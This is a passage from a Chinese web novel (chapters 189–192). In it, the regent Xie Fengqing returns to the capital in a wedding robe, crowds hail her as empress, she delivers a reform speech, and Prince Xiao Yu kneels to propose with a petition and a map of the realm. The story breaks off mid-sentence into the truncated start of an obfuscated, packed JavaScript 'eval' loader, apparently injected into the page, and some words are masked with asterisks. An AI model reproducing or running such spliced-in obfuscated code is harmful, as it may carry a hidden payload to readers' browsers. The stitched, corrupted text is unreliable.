更远处,各国使节团的观礼区域,却是另一番景象。金发碧眼的西域使者穿着镶满宝石的锦袍,交头接耳,语气中带着好奇与探究;服饰奇特的南洋使臣皮肤黝黑,瞪大了眼睛望着城外;来自北方草原部落的代表穿着皮袄,粗犷的脸上写满警惕与评估;还有高丽、倭国、琉球等邻邦的使者,个个神情肃穆。他们或许不懂中原王朝复杂的政治斗争,但他们知道,这位传奇的东方女摄政王的生死存亡,将直接影响整个东亚的格局。此刻,他们想亲眼目睹这位据说能文能武、以女子之身执政三年的奇女子,如何在坠崖七日后“死而复生”,如何归来,以及……归来后的权力格局将如何变化。 时间,一分一秒地流逝。 东方天际的鱼肚白渐渐扩大,染上了金红,像是天神打翻了调色盘。朝霞如同泼洒的鲜血与熔金,将半边天空烧得灿烂辉煌,云层被镶上了耀眼的金边,又渐渐晕染开瑰丽的紫红。晨雾开始消散,远处的山峦轮廓逐渐清晰。辰时到了。 就在第一缕阳光刺破云层,如同金色的利剑,精准地投射在永定门“永定”二字匾额上的刹那—— “呜————” 一声苍凉、浑厚、穿透力极强的号角声,从官道尽头的晨雾中传来! 那不是寻常的军号,声音更加古朴、更加悠远,仿佛来自远古的召唤,带着大漠风沙的粗粝,带着雪山之巅的凛冽,直直撞进每个人的耳膜,撞进心底最深处。 第189章她穿着一身……凤冠霞帔 城楼上,萧御的身体猛地绷紧,仿佛一张拉到极致的弓。他的呼吸几乎停滞,心脏在胸腔里疯狂擂动,血液奔涌的声音在耳中轰鸣。是她,一定是她!这号角声,是北境军中特有的“凤鸣号”,是她当年在北境大破戎狄后特制的,非重大仪式、非她亲令不得吹响! 长街两侧,数万百姓齐齐抬头,望向声音来处。那一张张脸上,写满了紧张、期盼、恐惧与希冀。攥着红绢花的手在颤抖,抱着孩子的臂膀在收紧,老人们浑浊的眼睛里迸发出光芒。 晨雾,仿佛被这号角声驱散,又像是被某种无形的力量逼迫,缓缓向两侧退开,如同舞台的幕布正在拉开。 首先映入眼帘的,是一杆大旗。 玄色的旗面,在晨风中猎猎展开,那玄色深重如子夜,却又在初升的阳光里泛起暗金色的流光。旗面上,用金线绣着一只展翅欲飞的凤凰。凤凰的形态并非传统祥瑞图案中的温婉雍容,而是带着一种凌厉、高傲、仿佛要焚尽苍穹的决绝姿态——凤首高昂,目光如电,似能洞穿虚空;双翼展开似垂天之云,每一片羽毛都清晰可见,闪耀着金属般的光泽;尾羽如烈焰般飞扬,仿佛真的在燃烧,拖出长长的、绚烂的光影。整只凤凰栩栩如生,仿佛随时会脱离旗面,直上九霄! 凤旗! 摄政王谢凤卿的王旗!消失了七日的王旗,重新出现在世人眼前! 紧接着,是马蹄声。 不是千军万马奔腾的轰鸣,而是整齐划一、沉稳有力、仿佛踩在人心鼓点上的蹄音。嗒、嗒、嗒……每一步都像重锤敲击在青石板路上,也敲击在每个人的心坎上。 十八骑,如同从晨曦与薄雾中凝聚而出的魔神,缓缓现出身形。 清一色的玄甲,覆盖全身,甲胄线条冷硬流畅,在初升的阳光下反射着幽暗的金属光泽,不是明亮的银白,而是深沉的黑中透出暗红,仿佛浸染过无数鲜血。面甲是狰狞的恶鬼造型,青面獠牙,只露出冰冷无情的眼睛,那眼睛如同寒潭,扫过之处,让人脊背生凉。马匹亦是高大神骏的北地战马,披着同样玄色的马铠,马头覆面,只露出喷着白气的鼻孔和锐利的眼睛。马鞍旁,悬挂着造型奇特的长刀——刀身略弯,刀背厚重,刀刃在晨光中流淌着寒芒,正是北境风雪十八骑标志性的“风雪斩马刀”。传闻此刀可一刀斩断奔马,是战场上令人闻风丧胆的利器。 十八骑分成两列,每列九骑,间距精准如尺量,马蹄起落完全一致。他们沉默如山,唯有铠甲摩擦的轻微声响和马蹄踏地的沉稳节奏,却散发出比千军万马更可怕的肃杀之气。他们拱卫着中间,如同最忠诚的守卫,拱卫着他们的神明。 而中间…… 时间,仿佛在这一刻凝固了。 呼吸,仿佛在这一刻停止了。 心跳,仿佛在这一刻炸开了。 所有翘首以盼的目光,所有或期待或恐惧或好奇的视线,在触及那道身影的瞬间,都被死死钉住,再也无法移开分毫! 一匹通体雪白、毫无杂毛的神驹,踏着优雅而有力的步伐,缓缓行来。那马体型优美,肌肉线条流畅,四蹄修长,行走间带着一种天生的高贵与力量。马鬃被精心梳理过,在风中轻轻飘动。马背上,端坐着一个人。 一个女人。 她穿着一身……凤冠霞帔。 不是寻常新嫁娘那种绣着鸳鸯牡丹、以喜庆吉祥为主的嫁衣。这套凤冠霞帔,是玄色为底,金线为绣。 玄色的锦缎,厚重如最深沉的无月之夜,却又在阳光下流转着幽暗华贵的光泽,仿佛将最深沉的夜空披在了身上。那玄色不是纯黑,里面织进了极细的暗金丝线,随着光线角度的变化,会隐约浮现出云纹与古老的符文,神秘而威严。金色的凤凰纹样,从肩头蔓延至裙摆,不是一只,而是九只!九凤姿态各异,或翱翔九天,或引颈长鸣,或敛翅俯瞰,或回首顾盼,每一只都活灵活现,每一片羽毛都以极细的金线掺着暗红色的丝线绣成,在玄色底料上璀璨夺目,栩栩如生,仿佛随时会破衣而出,直上云霄!凤凰的眼睛用的是细小的红宝石,在晨光中闪烁着妖异而尊贵的光芒。 霞帔是正红色,如最炽热的火焰,又如最浓烈的鲜血,从肩头披挂而下,长长地拖曳在白马身后,在青石板路上迤逦出一道触目惊心的红痕。霞帔的边缘,用金线绣着连绵的云纹和古老的符文,阳光下金光流动,神圣而威严。霞帔上还缀着细小的珍珠和宝石,随着马匹的行进轻轻摇曳,折射出细碎的光芒。 她的头上,戴着一顶真正的九凤冠。 黄金为骨,宝石为眼。九只形态各异的金凤,或展翅,或收翼,或衔珠,或望月,以巧夺天工的技艺盘绕在金冠之上。凤口中衔着长长的珍珠流苏,每一串都有一百零八颗大小均匀、光泽温润的南海珍珠,垂落在她的额前、鬓边,随着微风轻轻晃动,偶尔遮住她的眉眼,却遮不住那从珠帘后透射出的、冰冷而璀璨的目光——那目光平静无波,却仿佛能穿透一切虚妄,直视人心深处。冠顶中央,是一颗鸽卵大小的东珠,在晨曦中散发着温润却又夺目的光辉,如同夜空中最亮的星辰。 她的脸上,未施过多粉黛。肤色因伤病初愈而略显苍白,却更衬得眉眼如画,唇色如朱。那是一种超越了世俗美艳的、带着神性光辉与王者威仪的容颜。眉如远山含黛,斜飞入鬓,带着凌厉的英气,眉峰处却又有女子特有的婉转。眼若寒潭秋水,深邃不见底,平静无波,却又仿佛蕴含着足以焚毁一切的风暴,睫毛长而密,在眼下投出一小片阴影。鼻梁挺直,唇形优美,颜色是自然的嫣红,唇角微微抿着,带着一丝不易察觉的坚毅与疲惫。 她的脊背挺得笔直,如同雪原上最孤傲的青松,又如同绝壁上最锋利的剑,即便身着如此繁复沉重的嫁衣,依旧没有丝毫颓态。右手,轻轻握着缰绳,手指纤长,骨节分明,指甲修剪得干净整齐,肤色是久经沙场的蜜色,却并不粗糙。左手…… 所有人的目光,不由自主地聚焦在她的左手上。 她的左手,自然地垂放在身侧,手中握着一柄剑。 一柄……桃花剑。 但又不是人们记忆中那柄在断魂崖上断裂的桃花木剑。 剑鞘是全新的,由一整块极品紫檀木雕琢而成,木纹天然流转如云霞,泛着深沉的紫黑色光泽。鞘身上,镶嵌着七颗颜色各异的宝石,按照北斗七星的形状排列,宝石切割精美,在阳光下折射出七彩光芒。剑格处,是一朵盛放的桃花,不是雕刻,而是以某种奇异的金属熔炼勾勒而成,粉金色的花瓣,栩栩如生,薄如蝉翼,仿佛还带着清晨的露珠,在光线变换下似乎真的在微微颤动。剑柄以鲛皮包裹,缠着银丝,柄首处镶嵌着一颗浑圆的墨玉。 而剑柄末端,悬挂着一枚令符。 一枚……完整的虎符。 青铜铸造,古朴斑驳,透着岁月的沧桑与血火的气息。虎符被塑造成猛虎蹲踞之形,昂首咆哮,形态威猛,细节处甚至能看清虎须与爪牙。虎符从中间完美地合二为一,严丝合缝,再也看不出曾经断裂的痕迹。此刻,它被一根玄色的丝绦系在剑柄上,丝绦末端还缀着小小的金铃,随着白马的步伐轻轻晃动,每一次晃动,都仿佛敲击在观者的心头,发出无声却震撼灵魂的巨响。 桃花剑,重铸了。 虎符,合一了。 谢凤卿,穿着凤冠霞帔,归来了。 这一刻的画面,具有毁灭性的视觉冲击力,足以烙印进在场每一个人的灵魂深处,永生难忘! 玄甲与白衣,恶鬼面甲与绝世容颜,冰冷的金属与璀璨的珠宝,象征死亡的军阵与象征婚嫁的凤冠霞帔,断裂重生的神剑与合二为一的兵符……所有矛盾的元素,在她身上达到了诡异而和谐的统一,凝聚成一种超越了性别、超越了常理、直抵神性与权力本质的终极符号! 她不是狼狈归来的伤者,不是低调潜回的政客。 她是穿着嫁衣、却前来执掌生死、加冕为王的神祇! 是浴火重生的凤凰,在万众瞩目下,展开她璀璨而威严的羽翼! “嘶——” 不知是谁,率先倒吸了一口冷气,声音在极致的寂静中显得格外刺耳。 这声音像是打破了某种魔咒。 城楼之上,萧御死死盯着那道越来越近的身影,眼眶瞬间通红,一层水汽迅速弥漫上来,却又被他强行压下。他的胸腔里,心脏在疯狂擂动,撞击着肋骨,带来阵阵闷痛。是她,真的是她!不是梦境,不是幻觉!她活着,她回来了,而且是以这样一种……惊心动魄、璀璨夺目的方式! 这七日来的煎熬、恐惧、强撑的镇定、暗中的血腥清洗……所有的一切,在她出现的那一刻,都有了意义。他看到她苍白的脸色,看到她挺直却隐隐透出虚弱的脊背,心疼如同毒藤般缠绕上来,几乎让他窒息。但更多的,是铺天盖地的狂喜,是失而复得的巨大庆幸,是被她此刻绝世风姿所震撼的、近乎窒息的爱慕与骄傲!他的凤卿……他的王……终于,完好地回到了他的视野里,以更加强大、更加耀眼的姿态。 第190章记住她,孩子,记住今天 百官之中,新党官员终于从巨大的震撼中反应过来。户部尚书张庭筠老泪纵横,胡须颤抖,第一个撩起厚重的朝服袍角,朝着城下的方向,扑通一声跪了下去,额头重重磕在冰冷的城砖上!紧接着,是新党官员们齐刷刷的跪倒,头颅深深触地,肩膀因激动而剧烈颤抖,有人甚至压抑不住低低的啜泣声。那是劫后余生的狂喜,是信念重燃的激动,是对那位带领他们披荆斩棘的主心骨最虔诚的臣服。 旧党官员们面面相觑,脸色灰败如土,冷汗早已浸湿了里衣。他们看着那杀气凛然的玄甲护卫,看着那象征天下兵权合一的虎符,看着那女子眼中冰冷无情、仿佛能洞悉一切的目光,最后一丝侥幸心理也烟消云散。不知是谁带头,他们也哆哆嗦嗦地跪了下去,额头紧紧贴着冰冷的城砖,不敢抬头,身体控制不住地瑟瑟发抖,仿佛等待最后的审判。 各国使节团区域,先是一片死寂,随即响起低低的、压抑不住的惊呼和抽气声。那些来自异域的使者们,睁大了眼睛,脸上写满了不可思议与深深的敬畏。西域使者下意识地抚上了胸前的黄金十字架,南洋使臣喃喃着本族语言中“女神”的词汇,草原部落的代表握紧了腰间的弯刀,眼神复杂。他们或许不懂中原王朝的政治斗争,但他们能清晰地感受到,那个骑马缓缓而来的女子身上,所散发出的那种绝对的力量感与统治力。那不是柔弱的公主,不是依附男性的后妃,那是……真正的君王气象!是足以让任何野心家颤栗、让任何勇士折服的威严! 而长街两侧,那数万沉默等待了许久的百姓,在这一刻,情绪如同压抑了千年的火山,轰然爆发! 第一个声音,来自一个穿着补丁衣服、头发花白的老妪,她颤巍巍地举起手中那朵褪色的红绢花,用尽全身力气,嘶哑地、仿佛从肺腑深处挤压出来的喊声,划破了寂静: “殿……殿下!是殿下!殿下回来了!!!” 这声音如同投入滚油的火星。 下一刻—— “殿下!!!” “摄政王殿下!!!” “殿下千岁!!!” 呼喊声起初是凌乱的,带着哭腔的,哽咽的,随即迅速汇成一股洪流,如同海啸般席卷了整个长街,冲上了永定门城楼,直冲云霄!声音里充满了狂喜、激动、委屈、宣泄,以及如释重负的痛哭。 “殿下千岁千岁千千岁!!!” “恭迎殿下凯旋!!!” “殿下!!!” 人们挥舞着手臂,挥舞着手中的红色绢花、红布条、甚至是红色的纸片。泪水夺眶而出,顺着布满风霜的脸颊肆意流淌。他们跳跃着,呼喊着,声嘶力竭,仿佛要将这七日来的恐惧、担忧、绝望,全部在这一刻宣泄出去,化作最炽热的欢迎与拥戴!年轻的男子将帽子抛向空中,妇人紧紧抱住怀中的孩子,老人们拄着拐杖,老泪纵横地朝着那个方向不断作揖。 很多女子,看着马背上那身玄底金绣的凤冠霞帔,看着那顶璀璨的九凤冠,看着那张在珠帘后若隐若现、却威严绝世的容颜,眼泪流得更凶了。那不是羡慕,那是感同身受的激动,那是看到了另一种可能的希望之光!原来女子,也可以这样!也可以穿着最华美的嫁衣,手握最重的权柄,受万民跪迎,如神祇降临!不需要依附任何人,不需要困于后宅,可以堂堂正正地站在阳光下,站在权力之巅!不少站在人群中的女学生、女医者、女商人,此刻更是紧紧攥住了拳头,眼中闪烁着前所未有的光芒。 不知是谁,在汹涌的声浪中,喊出了一句石破天惊的话: “女帝!是女帝归来了!!!” 这句话,像是一道闪电,劈开了所有的嘈杂。 瞬间的寂静。 所有人,无论是百姓、官员、还是使节,都愣住了。女帝?这个称呼,在过去是不可想象的,是僭越,是大逆不道。但在这一刻,在这个穿着凤冠霞帔、手握虎符、受万民跪拜的女子面前,在这个刚刚从生死边缘归来、以如此震撼方式宣告存在的摄政王面前,这个词……竟然显得如此……贴切! 随即,是更疯狂、更整齐、更发自肺腑的呐喊,如同滚滚惊雷,响彻京城上空,震得大地都在微微颤动: “女帝归来!!!” “女帝归来!!!” “女帝归来!!!” 声浪一浪高过一浪,震得永定门城楼上的瓦片都在嗡嗡作响,震得远处皇宫的飞檐翘角上的铜铃都在叮当作响,震得天空的流云似乎都加快了流动的速度!这呼喊不再仅仅是欢迎,而是一种宣告,一种拥戴,一种对新秩序、对新主宰最直接的呼唤! 谢凤卿端坐马上,神色依旧平静,仿佛这惊天动地的呼喊与她无关。只有握着缰绳的右手,指尖几不可察地收紧了一瞬。桃花剑柄上悬挂的虎符,随着声浪微微颤动,金铃发出细碎却清越的声响。她抬起眼眸,目光透过珍珠流苏,望向城楼上那个玄色的身影。 四目相对。 隔着喧嚣的人海,隔着百丈的距离,隔着生死七日后的时空。 萧御看到了她眼中一闪而过的、极淡的疲惫,那是重伤初愈、又长途跋涉后的虚弱;以及更深处的、不容动摇的坚毅与……一丝只有他能读懂的、如冰雪初融般的温度。那温度让他心头滚烫,让他知道,他的等待,他的坚守,他的所有付出,都是值得的。 谢凤卿看到了他通红的眼眶,看到他紧抿的、微微颤抖的唇,看到他扶在垛口上、因用力而青筋微露的手,看到了他眼中那几乎要溢出来的、深沉如海的情意与失而复得的狂喜。还有他眉宇间无法掩饰的倦色,以及那份为了稳住大局而不得不展现的、此刻正在缓缓融化的冷硬。她的心,在坚冰之下,有一角悄然柔软。 无需言语。 一个眼神,已诉尽千言万语。 一切尽在不言中。 她轻轻夹了夹马腹,白马通灵,似乎感受到主人心绪,步伐依旧沉稳,却更显从容。风雪十八骑无声地调整着护卫阵型,玄甲反射着朝阳的金光,如同为她铺开一条通往权力巅峰的、光芒万丈的道路。 她就这样,在震耳欲聋的“女帝归来”的呼声中,在无数狂热、敬畏、激动的目光注视下,在漫天挥舞的红色海洋里,从容不迫地,穿过了永定门那巨大而幽深的门洞。 门洞内的阴影短暂地笼罩了她,随即,更热烈的阳光与更汹涌的声浪扑面而来。 她踏入了她阔别七日、却已风云变色的京城。 凤冠霞帔,满城红妆。 王者归来,天下震动。 这不仅仅是一次回归。 这是一次加冕的前奏,是一次权力的终极宣告,是一个全新时代……轰然拉开的序幕! 史官在城楼角落,手抖得几乎握不住笔,墨汁滴落在雪白的宣纸上,晕开一团污迹,他却浑然不觉,依旧用尽力气,以近乎痉挛的手指,记录下这必将载入史册的一刻: “承天三年,二月十五,辰时初刻。摄政王谢凤卿自永定门归。着玄底金绣九凤冠霞帔,佩重铸桃花剑,悬合一虎符。风雪十八骑扈从。万民空巷,红妆遍野,高呼‘女帝归来’,声震京华。是日,天现朝霞如血,风云际会,京师震动。” 三、山河为聘 永定门至皇宫的十里长街,成了红色的海洋,欢腾的河流。 谢凤卿骑着白马,在风雪十八骑的护卫下,缓缓前行。速度很慢,因为她要接受这万民的朝拜,要让他们看清楚——他们等待、期盼的摄政王,真的回来了,而且是以一种前所未有的、强大而辉煌的姿态。 道路两侧,五城兵马司的侍卫们手拉手组成人墙,用身体和长枪勉强维持着秩序,但汹涌的人潮还是不断向前涌动,侍卫们的脸憋得通红,额头上满是汗水。百姓们挤挤挨挨,伸长了脖子,泪水与笑容交织在脸上。花瓣、彩纸、米粒、铜钱(寓意吉祥)、甚至是自家做的红鸡蛋、红馍馍,被不断抛洒向道路中央,落在白马光洁如雪的皮毛上,落在玄甲骑士冷硬的肩甲上,落在谢凤卿的凤冠霞帔之上,堆积起一层薄薄的、带着体温与心意的“红妆”。 “殿下!看看我们!殿下千岁!” “殿下万岁!” “女帝万岁!” 呼喊声不绝于耳,如同持续不断的雷鸣。许多老人不顾体弱,推开搀扶的儿孙,朝着马背上的身影跪下叩头,额头抵着冰冷的地面,久久不起。许多妇人抱着懵懂的孩子,指着马背上的身影,哽咽着教导:“看,那就是摄政王殿下,是我们的守护神……记住她,孩子,记住今天……” 谢凤卿的目光平静地扫过人群。她看到了白发苍苍的老者眼中浑浊的泪光,看到了年轻书生脸上狂热的崇拜,看到了妇人怀中孩童好奇的眼神,也看到了隐藏在人群角落里,那些面色复杂、眼神闪烁的少数面孔——那或许是旧党的余孽,或许是别有用心的探子。但她并不在意。她的目光如流水般掠过,没有在任何一处过多停留,却仿佛洞悉了一切。她微微颔首,偶尔抬起握着缰绳的右手,轻轻挥动。那手势从容而有力,带着安抚与肯定的意味。 第191章新政万岁 每一次挥手,都引发更激烈的欢呼,人群如同被投入石子的湖面,荡漾开更汹涌的波浪。 她的左手,始终自然地垂着,握着那柄重铸的桃花剑。剑鞘温润,剑柄的墨玉触手生凉。剑柄末端的虎符,在越来越高的阳光下闪烁着青幽的光泽,随着马匹的步伐轻轻晃动,那枚小小的金铃发出清脆的声响,在一片喧嚣中竟奇异地清晰可闻,像一颗沉稳有力的心脏,在为她,也为这京城,为这天下,搏动。 队伍行至皇宫前的承天广场。 这里,是皇宫中轴线上最开阔、最庄严的场所,历来是举行登基大典、祭祀天地、接受万国来朝等最重大仪式的地方。此刻,早已被布置得庄严肃穆,却又因那无处不在的红色,而透出不同寻常的喜气。 广场中央,筑起了一座高达三丈的汉白玉高台。高台呈圆形,象征着天圆地方,宇宙浑成。台基共分九级,每级都雕刻着繁复的图案——第一级是汹涌的波涛,第二级是巍峨的山峦,第三级是广袤的田野,第四级是繁忙的市井……直至第九级,雕刻着翱翔九天的凤凰与腾云驾雾的神龙,寓意龙凤呈祥,天下归心。台基侧面,雕刻着九州山河的浮雕,江河湖海、名山大川、城池关隘,栩栩如生,仿佛将整个大周版图浓缩于此。 高台中央,矗立着一对巨大的青铜凤凰雕像,凤凰相对而舞,姿态优雅而充满力量,每一片羽毛都清晰可见,凤眼以琉璃镶嵌,在阳光下熠熠生辉。凤凰口中衔着长长的红色绸带,绸带在风中飘扬,连接着高台四周的立柱,立柱上缠绕着更多的红绸与金色绦带,在风中猎猎作响。 这里,便是今日“大婚”与“加冕”仪式的核心所在——大婚高台。它并非传统婚礼的喜台,而更像是一座祭坛,一座宣誓台,一座接受万民见证的权力之台。 按照预先的安排(实则是萧御根据谢凤卿昨日密信中的指示,结合当前形势,连夜与心腹紧急商议并筹备),谢凤卿并未直接进入皇宫,而是在高台前勒住了白马。 白马发出一声悠长的嘶鸣,前蹄轻踏,稳稳停住。 风雪十八骑无声地分列高台两侧,九人一边,如同最忠诚的守护神,玄甲森然,沉默如山,将高台与周围的人群隔开,形成一道不可逾越的屏障。 广场上,早已**了更多的人。除了跟随从永定门一路涌来的百姓,还有接到通知的京城各坊有头面的人物、士绅代表、学子代表、商贾代表,以及更多闻讯赶来的民众。黑压压的人群,从广场一直蔓延到周围的街道,甚至爬上了远处的屋顶、树梢,视线所及之处,尽是攒动的人头与挥舞的红色。 谢凤卿翻身下马。 动作干脆利落,带着军人的飒爽,丝毫没有因那身繁复沉重的凤冠霞帔而有所迟滞。霞帔长长地拖曳在身后,在光洁的汉白玉地面上划过,发出细微的沙沙声。十八骑中为首一人上前一步,想要搀扶,她却只是微微摆手,示意不必。她站定,身姿挺拔如松,即便重伤初愈,即便长途跋涉,那份属于王者的气度与风骨,未曾折损分毫。 她没有立刻登上高台,而是转过身,面向来时的长街,面向那依旧汹涌澎湃、望不到尽头的人潮,面向这座她离开了七日、却仿佛离开了七年的京城。 阳光正好升到中天,毫无保留地倾泻而下,将她整个人笼罩在金色的光晕里。玄色的嫁衣吸收着光线,显得更加深邃厚重;金色的凤凰纹样反射着阳光,璀璨夺目,仿佛真的要活过来;红色的霞帔如同燃烧的火焰,在她身后铺展开来,与广场上无数的红色旗帜、绸带、衣衫交相辉映。 她缓缓举起左手。 手中,桃花剑连鞘举起,剑尖斜指向天。剑柄末端的虎符,在正午炽烈的阳光下,反射出耀眼而冷冽的光芒,那青铜的质感,那猛虎的形态,那合一的严丝合缝,无一不在诉说着无上的权威与掌控。 喧嚣的广场,瞬间安静下来。 数十万道目光,如同被无形的磁石吸引,聚焦在她身上,聚焦在那柄剑,那枚虎符上。连风声似乎都停滞了,只剩下心脏砰砰跳动的声音,粗重的呼吸声,以及远处隐约传来的、被压抑住的激动呜咽。 “诸位父老,”她的声音响起,并不如何高亢,甚至因伤后初愈而带着一丝沙哑,却奇异地压过了所有的杂音,清晰地传到广场的每一个角落,仿佛就在每个人耳边响起。那声音平稳、坚定,带着一种抚慰人心的力量,也带着不容置疑的威严。 “七日之前,本王于断魂崖遇险,坠入深渊。” 人群屏住呼吸,连孩童都停止了嬉闹,睁大了眼睛。 “这七日,本王看到了深渊之下的黑暗,感受到了生死一线的冰冷。”她顿了顿,目光如寒星扫过全场,每个人都觉得那目光似乎在自己脸上停留了一瞬,看进了自己心里。“深渊之下,是刺骨的寒水,是无边的寂静,是随时可能吞噬一切的绝望。” 人群中有低低的抽气声,许多人下意识地捂住了嘴,眼中流露出后怕与心疼。 “但本王也看到了,”她的声音陡然转高,带着一种穿透人心的力量,那力量不是来自音量,而是来自话语中的真实与信念,“北境将士为国戍边、血染黄沙的忠诚!他们用血肉之躯,筑起了我大周的钢铁长城!” 人群中有来自北境的军属,闻言顿时红了眼眶。 “看到了江南漕工被盘剥欺压、挣扎求生的苦难!他们的脊背被纤绳勒出血痕,却换不来一家温饱!” 江南来的商人、学子,纷纷动容。 “看到了朝中宵小上蹿下跳、妄图颠覆新政的猖狂!他们以为本王不在,便可以倒行逆施,重拾旧日贪婪!” 百官队伍中,旧党官员们面如死灰,汗如雨下。 “更看到了……”她的目光变得深沉,扫过那一张张或激动、或期盼、或泪 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“祸国殃民者,必严惩!”目光如电,扫过百官方向。 “贪腐盘剥者,必清算!”声音冰冷,带着凛冽杀意。 “凡有利于天下百姓者,虽万难,本王必推行!”这是承诺,是誓言。 “凡有害于江山社稷者,虽亲贵,本王必铲除!”这是决心,是警告。 “这天下,是天下人的天下,不是少数权贵囊中之私物!”她举起剑,指向苍穹,霞帔在身后猎猎飞扬。 “这山河,是亿兆生民的山河,容不得蛀虫蝼蚁肆意啃噬!”她收回剑,目光灼灼,如同燃烧的火焰。 话音落下,广场上死寂一片。 所有人都被这番话语震撼了。这不仅仅是归来宣言,这是**纲领,是执政宣言,是向旧势力开战的檄文!如此直白,如此激烈,如此……不顾一切! 随即,如同积蓄了千年的地火终于找到了喷发的出口,轰然爆发! “殿下万岁!!!” “新政万岁!!!” 声浪冲天而起,比永定门前更加狂热,更加整齐,更加发自肺腑!这是**最直接最猛烈的表达,是民心最彻底最无保留的归附!这七日,百姓怕的正是她所代表的新政希望破灭,怕的是旧日的黑暗重临!如今,她归来,她承诺,她以摄政王之尊,在天下人面前立下誓言,要将新政进行到底,要保护他们的利益! 还有什么,比这更能安定人心?比这更能凝聚力量? 呼喊声如同海啸,一浪高过一浪,仿佛要将这汉白玉的高台都掀翻!许多人激动得相互拥抱,喜极而泣;有人跪倒在地,朝着谢凤卿的方向不断叩拜;年轻人挥舞着拳头,面色潮红,仿佛找到了人生的方向。 就在这时,高台后方,皇宫正门——承天门,那两扇沉重的、象征着无上皇权的朱红大门,在吱呀声中,轰然洞开。 第192章此心已定,此志已同, 一支规模宏大、庄严肃穆的仪仗队伍,缓缓从门内走出。 金瓜、钺斧、朝天镫、旗、锣、伞、扇……全套亲王卤簿,在阳光下闪烁着耀眼的金光。执事太监、宫女、侍卫,队列整齐,神情肃穆。 为首的,正是萧御。 他已换下城楼上的亲王礼服,穿着一身与谢凤卿凤冠霞帔相配的玄底金绣蟠龙婚服。同样的玄色为底,厚重深沉,上用金线绣着四爪蟠龙,龙纹矫健灵动,张牙舞爪,似要破衣飞天,环绕云纹之中。他头戴金冠,并非婚礼用的花冠,而是更为简洁庄重的束发金冠,正中镶嵌一颗硕大的蓝宝石。腰缠玉带,悬挂着蟠龙玉佩。他身姿挺拔如松,容颜俊美无俦,此刻脸上再无平日的温润浅笑,只有一片庄严肃穆,如同最虔诚的信徒走向他的神祇。然而,那微微泛红的眼眶,紧抿的唇线,以及眼底深处无法掩饰的、几乎要满溢出来的深情与激动,还是泄露了他内心的波澜。 他手中,捧着一个紫檀木的托盘。托盘边缘镶嵌着螺钿,工艺精湛。托盘上,覆盖着明黄色的绸缎,绸缎上绣着五爪金龙,那是只有皇帝才能使用的纹样。 萧御一步一步,走向高台,走向台下的谢凤卿。 他的步伐沉稳有力,每一步都仿佛丈量过,不疾不徐。阳光照在他玄色的婚服上,金龙仿佛要活过来;照在他俊美的脸上,勾勒出深邃的轮廓;照在他手中的托盘上,明黄绸缎耀眼夺目。 他的目光,始终牢牢锁在她身上,仿佛这世间万物,此刻都化为虚无,只剩下那道玄色与金色交织、红色霞帔如火焰般燃烧的身影。他的眼中,有失而复得的狂喜,有刻骨铭心的爱恋,有并肩作战的默契,更有此刻以山河为聘、许她天下的决绝。 他在她面前三步处停下。 这个距离,不远不近,既能让她看清他眼中的一切,又保持着应有的礼仪与尊重。 然后,在数十万人的注视下,在百官、使节、万民的震惊目光中—— 萧御,大周监国亲王,先帝嫡子,身份尊贵无比的男人,缓缓地,单膝,跪了下去。 左腿弯曲,右膝触地,身姿却依旧挺拔。他双手高高捧起那紫檀木托盘,举过头顶,仰起头,目光炽热而虔诚地看着谢凤卿,如同仰望他的神明,他的信仰,他此生唯一的挚爱。 这个动作,让全场再次哗然!无数人倒吸冷气,瞪大了眼睛,难以置信! 监国亲王,皇帝之下最尊贵的男子,手握大权,代君监国,竟向摄政王单膝跪地!这不仅是求婚,这更是臣服,是认可,是将自己的权势与未来,毫无保留地奉上! 萧御恍若未闻周围的骚动,他深吸一口气,那气息似乎有些颤抖,那是压抑了太久的情感即将决堤的前兆。他开口,声音清朗如玉石相击,却带着微微的、难以抑制的颤音,以内力催发,清晰地传遍整个广场: “臣,萧御,监国亲王。” 他顿了顿,仿佛在积蓄力量,又仿佛在斟酌词句,最终,字字清晰,如同最郑重的誓言,响彻云霄: “今以**山河为聘,以亿兆民心为证,以吾余生为约——” 他抬手,用微微颤抖的手指,轻轻揭开了托盘上的明黄绸缎。 绸缎滑落,露出托盘上的两样东西。 左侧,是一卷厚厚的、以金线捆扎的绢帛。绢帛展开一角,露出里面密密麻麻的字迹,以及无数鲜红的指印——那是《万民**书》。**书来自北境边关,是戍边将士咬破手指写下的;来自江南漕运,是纤夫船工粗糙手掌按下的手印;来自各地女学,是女学生和女夫子们娟秀的签名;来自受灾州县,是得到赈济的灾民含泪的印记;还有来自京畿,来自全国各地,无数百姓自发签名按印,请求摄政王推行新政、严惩贪腐、还天下清明的呼声!这卷绢帛,重逾千斤,因为它承载的是天下万民的期盼与信任! 右侧,是一幅《大周疆域全图》,以最精细的工笔绘制在特制的蚕丝绢上,山川河流、城池关隘、边疆海岸,历历在目,细致入微。地图之上,赫然盖着监国亲王金印、内阁大印、六部官印,以及……一个空缺的位置——那是留给最高权力的印玺,传国玉玺的位置。这不仅仅是一幅地图,这是整个大周江山的象征,是至高无上的权柄! 萧御双手捧起托盘,举过头顶,目光炽热而虔诚地看着谢凤卿,声音里充满了无限的深情与郑重: “问殿下——” “可愿嫁与萧御,共守此山河,共抚此黎民,共开创一个海晏河清、天下大定的新时代?” 山河为聘! 天下为证! 余生为约! 这不是普通男子的求婚,这是一个亲王,以国士之礼,以江山为筹码,以余生为誓言,向他的君王、他的爱人、他愿意携手一生的伴侣,发出的最盛大、最隆重、最不容拒绝、也最情深似海的求婚! 整个广场,数十万人,在这一刻,鸦雀无声。 所有的目光,都聚焦在谢凤卿身上,聚焦在她如何回应这石破天惊的求婚。 风,似乎也停止了吹拂。 阳光,静静地洒落。 时间,仿佛凝固。 谢凤卿站在原地,凤冠上的珍珠流苏在静止的空气中微微晃动,发出细碎的、如同心弦拨动般的声响。玄色嫁衣上的金色凤凰,在阳光下闪烁着夺目的光芒。红色的霞帔静静垂落,如同凝固的火焰。 她低头,看着单膝跪地的萧御,看着他手中那代表**江山和亿兆民心的“聘礼”,看着他眼中那几乎要满溢出来的深情、期待、以及一丝不易察觉的紧张——他在紧张,怕她拒绝,怕她因种种顾忌而退缩。 七日生死,恍如隔世。 断魂崖下的冰冷黑暗,刺骨的河水,无尽的坠落……老君庙密室中的绝望挣扎,与死亡赛跑的重伤……重铸桃花剑时的烈焰焚身,灵魂仿佛被撕裂又重组……虎符合一时的血脉相连,力量奔涌却伴随剧痛……一幕幕,如同走马灯般从眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 